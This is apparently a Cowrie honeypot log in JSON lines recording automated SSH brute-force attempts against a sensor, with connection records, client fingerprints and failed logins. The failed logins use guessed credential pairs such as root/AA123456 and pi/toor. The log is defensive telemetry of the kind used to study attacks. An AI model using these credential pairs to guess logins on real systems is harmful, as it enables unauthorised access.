{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:56.355273Z","src_ip":"192.109.200.78","session":"2b8f119967e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60186,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e9805da1c9c","protocol":"ssh","message":"New connection: 192.109.200.78:60186 (10.17.0.5:22) [session: 5e9805da1c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:58.207135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:58.326238Z","src_ip":"192.109.200.78","session":"5e9805da1c9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:58.333823Z","src_ip":"192.109.200.78","session":"5e9805da1c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:58.742573Z","src_ip":"192.109.200.78","session":"5e9805da1c9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":44670,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7b41a87e18b","protocol":"ssh","message":"New connection: 103.15.222.183:44670 (159.203.135.109:22) [session: b7b41a87e18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:59.541729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:59.546426Z","src_ip":"103.15.222.183","session":"b7b41a87e18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:59.798391Z","src_ip":"103.15.222.183","session":"b7b41a87e18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:59.826509Z","src_ip":"192.109.200.78","session":"5e9805da1c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00148105621338,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:59.982114Z","src_ip":"94.23.66.112","session":"3e3cb1f9399d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"100891","message":"login attempt [root/100891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:00.807917Z","src_ip":"103.15.222.183","session":"b7b41a87e18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40204,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb547238bea0","protocol":"ssh","message":"New connection: 192.109.200.78:40204 (10.17.0.5:22) [session: fb547238bea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:01.847903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:01.855848Z","src_ip":"192.109.200.78","session":"fb547238bea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:01.938204Z","src_ip":"192.109.200.78","session":"fb547238bea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:02.061442Z","src_ip":"103.15.222.183","session":"b7b41a87e18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:02.194754Z","src_ip":"192.109.200.78","session":"fb547238bea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:03.279201Z","src_ip":"192.109.200.78","session":"fb547238bea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40208,"dst_ip":"10.17.0.5","dst_port":22,"session":"c20790caac64","protocol":"ssh","message":"New connection: 192.109.200.78:40208 (10.17.0.5:22) [session: c20790caac64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:05.295896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:05.391068Z","src_ip":"192.109.200.78","session":"c20790caac64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:05.394652Z","src_ip":"192.109.200.78","session":"c20790caac64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"toor","message":"login attempt [pi/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:05.797671Z","src_ip":"192.109.200.78","session":"c20790caac64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:06.988748Z","src_ip":"192.109.200.78","session":"c20790caac64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40216,"dst_ip":"10.17.0.5","dst_port":22,"session":"fda5f2285a3a","protocol":"ssh","message":"New connection: 192.109.200.78:40216 (10.17.0.5:22) [session: fda5f2285a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:08.921785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:08.926294Z","src_ip":"192.109.200.78","session":"fda5f2285a3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:09.007639Z","src_ip":"192.109.200.78","session":"fda5f2285a3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"1qaz2wsx","message":"login attempt [node/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:09.398654Z","src_ip":"192.109.200.78","session":"fda5f2285a3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:10.482980Z","src_ip":"192.109.200.78","session":"fda5f2285a3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":39760,"dst_ip":"159.203.135.109","dst_port":22,"session":"d17eaae45944","protocol":"ssh","message":"New connection: 92.207.4.157:39760 (159.203.135.109:22) [session: d17eaae45944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:10.993254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:10.997212Z","src_ip":"92.207.4.157","session":"d17eaae45944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:11.091425Z","src_ip":"92.207.4.157","session":"d17eaae45944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mc","message":"login attempt [mcserver/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:11.533189Z","src_ip":"92.207.4.157","session":"d17eaae45944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45520,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b8f961cef2e","protocol":"ssh","message":"New connection: 192.109.200.78:45520 (10.17.0.5:22) [session: 6b8f961cef2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:12.621201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:12.625217Z","src_ip":"192.109.200.78","session":"6b8f961cef2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:12.632305Z","src_ip":"92.207.4.157","session":"d17eaae45944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:12.705335Z","src_ip":"192.109.200.78","session":"6b8f961cef2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:12.949345Z","src_ip":"192.109.200.78","session":"6b8f961cef2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:14.032860Z","src_ip":"192.109.200.78","session":"6b8f961cef2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45532,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b08ad1061e8","protocol":"ssh","message":"New connection: 192.109.200.78:45532 (10.17.0.5:22) [session: 4b08ad1061e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:15.952765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:15.956742Z","src_ip":"192.109.200.78","session":"4b08ad1061e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:16.037664Z","src_ip":"192.109.200.78","session":"4b08ad1061e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"rock","message":"login attempt [media/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:16.394389Z","src_ip":"192.109.200.78","session":"4b08ad1061e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:17.477551Z","src_ip":"192.109.200.78","session":"4b08ad1061e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45542,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ae6974a43dd","protocol":"ssh","message":"New connection: 192.109.200.78:45542 (10.17.0.5:22) [session: 5ae6974a43dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:19.535967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:19.540285Z","src_ip":"192.109.200.78","session":"5ae6974a43dd","protocol":"ssh"}
